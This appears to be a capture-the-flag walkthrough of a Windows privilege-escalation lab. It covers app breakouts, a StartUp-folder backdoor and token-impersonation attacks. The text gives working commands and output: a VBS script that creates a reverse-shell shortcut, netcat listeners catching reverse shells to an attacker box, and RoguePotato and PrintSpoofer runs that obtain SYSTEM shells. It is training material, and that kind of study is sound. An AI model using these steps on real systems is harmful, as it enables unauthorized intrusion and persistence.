Apps that run as SYSTEM acccounts can sometimes allow you to run commands inside them… With Windows this is even easier due to the fact that most apps have a Windows standard "Open" and "Save As" window.
- In this task, we use an app titled
AdminPaint
on the desktop (which is simplymspaint.exe
running as "admin"):
- If we open a command prompt and run the following command, we can see that
mspaint.exe
is running asWIN-QBA94KB3IOF\admin
:
C:\Users\user>tasklist /V | findstr mspaint.exe
mspaint.exe 3580 RDP-Tcp#0 2 30,320 K Running WIN-QBA94KB3IOF\admin 0:00:00 Untitled - Paint
cmd.exe 4392 RDP-Tcp#0 2 4,120 K Running WIN-QBA94KB3IOF\user 0:00:00 C:\Windows\system32\cmd.exe - findstr mspaint.exe
- In
AdminPaint
, if we go to File -> Open via the top menu bar, we can typeC:\Windows\System32\cmd.exe
in the top bar and press Enter:
- The command prompt that spawns will be running on the same account as
AdminPaint
:
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
win-qba94kb3iof\admin
Task 15 – Startup Apps
The Windows Start Menu has a folder named StartUp
that, if a shortcut is created inside that folder, it will allow you to run the linked program during system boot… this is a way of not only obtaining privilege escalation (as all it takes is someone to login as an admin account), but can also be used to persist a backdoor (albeit messy as it leaves an easily-discovered red flag in the Start Menu).
- First we must check if we can actually write to the
StartUp
folder:
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
AccessChk v4.02 - Check access of files, keys, objects, processes or services
Copyright (C) 2006-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
- Since that we can, lets use
cscript
to run a Visual Basic Script (VBS) that will create a shortcut to ourreverse.exe
reverse-shell:
C:\PrivEsc>cscript C:\PrivEsc\CreateShortcut.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
- Finally, if we simulate the admin logging in by connecting via RDP using the
admin
account, we should get a call-back on our attack box from the reverse shell:
❯ nc -lnvp 31337
Connection from 10.10.113.4:49717
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
win-qba94kb3iof\admin
SOURCE >> CreateShortcut.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
Task 16 – Token Impersonation – Rogue Potato
- On the attack box, start a
socat
port forward, forwarding all connections from local port 135 to the target box port 9999
❯ sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.113.4:9999
- Logged in as
admin
, startcmd.exe
as an administrator:
- While in that elevated
cmd.exe
we runPSExec64.exe
, emulatingnt authority\local service
and running the reverse shell:
C:\PrivEsc>C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
- When the reverse shell connects, you should be now logged in as
nt authority\local service
, open up yet another netcat listener on the same port (netcat
will redirect the connection off the initial port it listens on, allowing you to listen again as soon as the original connection is made):
❯ nc -lnvp 31337
Connection from 10.10.113.4:49943
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\local service
- Run
RoguePotato.exe
(making sure to update the IP address after-r
to your attack box IP) and ensure you don’t forget-l 9999
which listens on that local port (which is the port we forwarded our port135
to usingsocat
):
C:\Windows\system32>C:\PrivEsc\RoguePotato.exe -r 10.9.2.201 -e "C:\PrivEsc\reverse.exe" -l 9999
C:\PrivEsc\RoguePotato.exe -r 10.9.2.201 -e "C:\PrivEsc\reverse.exe" -l 9999
[+] Starting RoguePotato...
[*] Creating Rogue OXID resolver thread
[*] Creating Pipe Server thread..
[*] Creating TriggerDCOM thread...
[*] Listening on pipe \\.\pipe\RoguePotato\pipe\epmapper, waiting for client to connect
[*] Calling CoGetInstanceFromIStorage with CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written:102 bytes
[*] SecurityCallback RPC call
[*] ServerAlive2 RPC Call
[*] SecurityCallback RPC call
[*] ResolveOxid2 RPC call, this is for us!
[*] ResolveOxid2: returned endpoint binding information = ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper]
[*] Client connected!
[+] Got SYSTEM Token!!!
[*] Token has SE_ASSIGN_PRIMARY_NAME, using CreateProcessAsUser() for launching: C:\PrivEsc\reverse.exe
[+] RoguePotato gave you the SYSTEM powerz :D
- Once
RoguePotato
completes it’s work, your newer listener should receive another reverse shell connection, this time elevated to the TOP (NT AUTHORITY\SERVICE
)!
❯ nc -lnvp 31337
Connection from 10.10.113.4:49956
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Name one user privilege that allows this exploit to work.
Name the other user privilege that allows this exploit to work.
Task 17 – Token Impersonation – PrintSpoofer
As with the previous task:
-
Start an initial listener on the attack box
-
Login via RDP as
admin
, run an elevatedcmd.exe
(run as administrator) -
Start
PSExec64.exe
impersonatingnt authority\local service
access and run thereverse.exe
backdoor. -
When the shell connects, start up yet another listener, then start
PrintSpoofer.exe
, asking it to runC:\PrivEsc\reverse.exe
with the-c
flag:
❯ nc -lnvp 31337
Connection from 10.10.84.84:49869
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\local service
C:\Windows\system32>C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe"
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
- The second listener will then get a connection, with a fresh
NT AUTHORITY\SYSTEM
shell!
❯ nc -lnvp 31337
Connection from 10.10.84.84:49873
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Task 18 – Privilege Escalation Scripts
Much like the Linux PrivEsc room, this last task also goes over some Windows-equivalent automated PrivEsc scanning tools:
- winPEAS – PEASS – Privilege Escalation Awesome Scripts (winPEAS). @carlospolop
- Seatbelt – Performs a number of security oriented host-survey "safety checks". @GhostPack
- PowerUp – PowerUp aims to be a "clearinghouse" of common Windows privilege escalation vectors that rely on misconfigurations. @PowerShellMafia
- SharpUp – C# port of various PowerUp functionality. @GhostPack
Keeping these tools at close-reach is a very smart idea… they will provide you with information on most of the above methods if they are found on the target.